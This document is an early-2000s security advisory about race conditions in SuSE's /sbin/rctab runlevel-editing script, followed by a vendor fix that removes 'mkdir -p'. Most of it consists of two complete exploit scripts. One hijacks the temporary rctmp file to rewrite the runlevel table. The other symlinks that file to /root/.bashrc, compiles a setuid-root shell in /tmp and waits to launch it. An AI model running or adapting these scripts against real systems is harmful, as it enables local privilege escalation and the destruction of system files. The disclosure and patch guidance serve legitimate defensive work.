COMMAND
rctab
SYSTEMS AFFECTED
SuSE 5.x, 6.0, 6.1, 6.2, 6.3, 6.4, 7.0, all platforms
PROBLEM
Paul Starzetz found following. Due to a various race conditions
in the init level editing script /sbin/rctab it is possible for
any local user to overwrite any system's file with arbitrary data.
This may result in denial of service attack.
The /sbin/rctab script doesn't check for links writing the
temporary rctmp file to /tmp/rctmpdir.$PID dir. Also the
directory created isn't chown'ed root. Because the PID of the
rctab script can be guessed (or looked up, however), any local
user can replace the temporary rctmp file with arbitrary content.
This can be exploited in one of the following manners:
a) local user replaces the rctmp with his own, resulting in
enabling/disabling any valid service listed in /sbin/init.d
directory. This may lead to a system running a vulnerable
service after the runlevel has been switched, resulting in
further remote root compromise.
b) local user force the rctab script to write the content of rctmp
file to any other system's file including /etc/passwd or
/etc/shadow. This results in denial of service too.
c) local user trick the rctab script to write the contents of
rctmp file predecessed by some arbitrary data to some sensitive
system file. In conjunction with any sort of shell script
executed by the root user and the 'in here documents' it is
possible to run any command inside the attacked shell script.
d) ...and much more
Attached are 2 exploits. rcshell.sh: gives you r00tshell
assuming that /root/.bashrc is present, root runs crontab -e and
saves the changes after changing something in the runlevel table
_and_ login again (Yes, in some cases the script will fail).
changerc.sh: replaces system's inittable with an arbitrary one
(assuming rctab -e is run too).
[changerc.sh]
#!/bin/bash
# any user can force changes to runlevels
# by IhaQueR
declare -i PLOW
declare -i PHIGH
# CONFIG:
PLOW=1
PHIGH=3
TMP="/tmp"
FAKERC="/tmp/fakerc"
RCTMPDIR="rctmpdir"
RCTMP="rctmp"
_pwd="$PWD"
#
echo "----------------------------------------------"
echo "| |"
echo "| rctab exploit |"
echo "| by IhaQueR '2001 |"
echo "| |"
echo "----------------------------------------------"
echo
# crate dirs
echo "[+] now creating directories"
echo " this may take a while"
echo
declare -i cnt
cnt=$PLOW
umask 700
while [ $cnt -lt $PHIGH ]
do
cnt=$(($cnt+1))
if [ $(($cnt % 128)) -eq 0 ] ; then
printf "[%6d] " $cnt
fi;
if [ $(($cnt % 1024)) -eq 0 ] ; then
echo
fi;
mkdir -p "$TMP/$RCTMPDIR.$cnt"
done
echo
echo
echo " finished creating dirs"
echo
# wait for rctab -e
declare -i rctabpid
rctabpid=0
echo "[+] waiting for root to run rctab"
while [ 1 ]
do
rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'`
if test $rctabpid -gt 1 ; then
break
fi
sleep 1
done
# rcfile in
rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP"
echo "[+] got rctab -e at pid $rctabpid"
# test if we own the directory
rcdir="/tmp/rctmpdir.$rctabpid"
if test -O $rcdir ; then
echo "[+] ok, we own the dir"
else
echo "[-] hm, we are not owner"
exit 2
fi
# wait for root to finish editing
sleep 4
declare -i vipid
vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'`
echo " root is editing now at $vipid, wait for $rcfile"
pfile="/proc/$vipid"
while test -d $pfile
do
echo -n >/dev/null
done
rm -rf $rcfile
cp $FAKERC $rcfile
echo "[+] gotcha!"
echo " installed new rctab from $FAKERC"
-----------------------------------------------------------------
[rcshell.sh]
#!/bin/bash
# any user can force changes to runlevels
# by IhaQueR
declare -i PLOW
declare -i PHIGH
# CONFIG:
PLOW=1
PHIGH=3
TMP="/tmp"
FAKERC=/tmp/fakerc
RCTMPDIR="rctmpdir"
RCTMP="rctmp"
WRITETO="/root/.bashrc"
SUSH="/tmp/sush"
# what we want to write to $WRITETO (oops...)
declare -i idx
idx=0
rchead=""
while test "$idx" -lt 128 ; do
rchead="$rchead "
idx=$(($idx+1))
done
rchead="$rchead chown root.root $SUSH; chmod 4777 $SUSH | cat >/dev/null
<<_DUPA_"
_pwd="$PWD"
#
echo "----------------------------------------------"
echo "| |"
echo "| local rctab root exploit |"
echo "| you would need luck |"
echo "| and an admin stupid enough |"
echo "| by IhaQueR '2001 |"
echo "| |"
echo "----------------------------------------------"
echo
# test sys
awkl=$(which awk)
if test -x $awkl ; then
echo "[+] awk found"
else
echo "[-] awk not found, edit this script :-)"
exit 1
fi
if test -r /sbin/rctab ; then
echo "[+] rctab found"
else
echo "[-] rctab not found, sorry"
exit 1
fi
# make suid shell
echo "[+] compiling suid shell"
cat << _DUPA_ >/tmp/sush.c
#include <stdio.h>
main(int argc, char** argv) {setuid(0); setgid(0); execv("/bin/sh",
argv); }
_DUPA_
# compile shell
gcc /tmp/sush.c -o $SUSH
# crate dirs
echo "[+] now creating directories"
echo " this may take a while"
echo
declare -i cnt
cnt=$PLOW
umask 000
while [ $cnt -lt $PHIGH ]
do
cnt=$(($cnt+1))
if [ $(($cnt % 128)) -eq 0 ] ; then
printf "[%6d] " $cnt
fi;
if [ $(($cnt % 1024)) -eq 0 ] ; then
echo
fi;
mkdir -p "$TMP/$RCTMPDIR.$cnt"
done
echo
echo
echo " finished creating dirs"
echo
# wait for rctab -e
declare -i rctabpid
rctabpid=0
echo "[+] waiting for root to run rctab"
while [ 1 ]
do
rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'`
if test $rctabpid -gt 1 ; then
break
fi
sleep 1
done
# rcfile in
rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP"
# append our cmd
echo >$rcfile "$rchead"
echo "[+] got rctab -e at pid $rctabpid"
# test if we own the directory
rcdir="/tmp/rctmpdir.$rctabpid"
if test -O $rcdir ; then
echo "[+] ok, we own the dir"
else
echo "[-] hm, we are not owner"
exit 2
fi
# wait for editor
declare -i vipid
vipid=0
while [ $vipid -lt 1 ]
do
vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'`
done
echo " root is editing now at pid $vipid, wait for writing $rcfile"
sleep 1
pfile="/proc/$vipid"
# relink
declare -i lcnt
lcnt=$(wc -l $rcfile|awk '{print $1-2 }')
tail -n$lcnt $rcfile >$rcfile.new
rm -rf $rcfile
ln -sf $WRITETO $rcfile
if test -r "$WRITETO" ; then
md=$(cat $WRITETO|md5sum)
fi
if test -r $WRITETO ; then
ac=$(ls -l --full-time $WRITETO)
else
ac="none"
fi
# wait for root to write rctab or exit
while test -d $pfile
do
if test -r "$WRITETO" ; then
oc="$(ls -l --full-time $WRITETO)"
if test "$ac" != "$oc" ; then
echo "[+] $WRITETO replaced"
break
fi
fi
done
rm -rf $rcfile; ln -s $rcfile.new $rcfile
if test "$md" = "$(cat $WRITETO|md5sum)" ; then
echo "[-] bashrc not changed, sorry"
exit 2
else
echo "[+] gotcha! wait for root to login"
fi
# now wait for root to login :-)
while test -O $SUSH ; do
sleep 1
done
echo "[+] suid shell at $SUSH"
sleep 1
$SUSH
-----------------------------------------------------------------
[sample fakerc]
#
# Generated by rctab: Fri Jan 12 21:02:40 CET 2001
#
# Special scripts
#
# halt -- only for runlevel 0
# reboot -- only for runlevel 6
# single -- only for single user mode
#
# Remaining services
#
# apache argus at autofs boot.setup cdb cipe cron dummy firewall gpm
# halt.local inetd inn ipfwadm ircd kbd kerneld lpd masquerade named
network
# nfs nfsserver ntopd pcnfsd pings quota quotad random rinetd route
routed
# rpc rwhod scanlogd sendmail serial smb squid sshd syslog xdm xinetd
xntpd
# ypclient yppasswdd ypserv ypxfrd
#
Runlevel:1 Runlevel:2 Runlevel:3 Runlevel:4 Runlevel:5
kerneld kerneld kerneld - -
serial serial serial - -
dummy dummy dummy - -
syslog network network - -
boot.setup firewall firewall - -
gpm masquerade masquerade - -
kbd route route - -
random cipe cipe - -
- rpc rpc - -
- argus argus - -
- nfs nfs - -
- scanlogd scanlogd - -
- syslog syslog - -
- boot.setup boot.setup - -
- routed routed - -
- named named - -
- quota quota - -
- nfsserver nfsserver - -
- pcnfsd pcnfsd - -
- quotad quotad - -
- yppasswdd yppasswdd - -
- ypserv ypserv - -
- ypxfrd ypxfrd - -
- ypclient ypclient - -
- autofs autofs - -
- apache apache - -
- at at - -
- gpm inetd - -
- inetd inn - -
- inn ipfwadm - -
- ipfwadm ircd - -
- ircd kbd - -
- kbd lpd - -
- lpd ntopd - -
- ntopd random - -
- random rinetd - -
- rinetd rwhod - -
- rwhod sendmail - -
- sendmail smb - -
- smb squid - -
- squid sshd - -
- sshd xinetd - -
- xinetd xntpd - -
- xntpd cron - -
- cron xdm - -
- pings - - -
- - - - -
- - - - -
- - - - -
- - - - -
- - - - -
- - - - -
SOLUTION
The description of the problem is not acurrate. The race
condition is a result of a failure to create a directory to store
the temporary file in. The mkdir command used does not take into
account that the directory, if it exists already, might not belong
to root or may be writeable for attackers. `chown root:root' is
clearly a wrong step since this would introduce a race in a 1777-
directory again.
Solution for the problem: remove the only occurrence of the string
"-p " in the file /sbin/rctab. Change the line
mkdir -p ${tmpdir}
to read
mkdir ${tmpdir}
Future versions of the SuSE distributions do not contain the
rctab script any more.